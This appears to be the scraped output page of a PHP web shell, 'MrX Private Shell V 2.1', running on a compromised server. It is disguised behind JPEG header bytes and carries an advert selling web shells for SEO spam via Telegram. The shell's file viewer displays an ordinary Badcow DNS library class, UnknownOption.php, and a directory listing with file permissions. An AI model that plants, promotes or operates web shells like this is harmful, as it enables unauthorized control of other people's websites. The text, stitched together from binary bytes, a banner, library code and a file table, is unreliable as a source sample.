����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
declare(strict_types=1);
/*
* This file is part of Badcow DNS Library.
*
* (c) Samuel Williams <sam@badcow.co>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
namespace Badcow\DNS\Edns\Option;
class UnknownOption implements OptionInterface
{
/**
* @var int
*/
private $optionCode;
/**
* @var string|null
*/
private $data;
/**
* @var string|null
*/
private $name;
public function setOptionCode(int $optionCode): void
{
$this->optionCode = $optionCode;
}
public function getNameCode(): int
{
return $this->optionCode;
}
public function getName(): string
{
if (null !== $this->name) {
return $this->name;
}
return 'OPTION'.$this->optionCode;
}
public function setName(string $name): void
{
$this->name = $name;
}
/**
* @return string
*/
public function getData(): ?string
{
return $this->data;
}
/**
* @param string $data
*/
public function setData(?string $data): void
{
$this->data = $data;
}
public function getCode(): int
{
return $this->optionCode;
}
public function toWire(): string
{
return $this->data ?? '';
}
public function fromWire(string $optionValue, int &$offset = 0, ?int $optionLength = null): void
{
$optionLength = $optionLength ?? strlen($optionValue);
$this->setData(substr($optionValue, $offset, $optionLength));
$offset += $optionLength;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| CLIENT_SUBNET.php | File | 3.68 KB | 0644 |
|
| COOKIE.php | File | 2.06 KB | 0644 |
|
| Codes.php | File | 2.18 KB | 0644 |
|
| DecodeException.php | File | 669 B | 0644 |
|
| Factory.php | File | 1.76 KB | 0644 |
|
| OptionInterface.php | File | 1.37 KB | 0644 |
|
| OptionTrait.php | File | 527 B | 0644 |
|
| TCP_KEEPALIVE.php | File | 1.5 KB | 0644 |
|
| UnknownOption.php | File | 1.64 KB | 0644 |
|
| UnsupportedOptionException.php | File | 490 B | 0644 |
|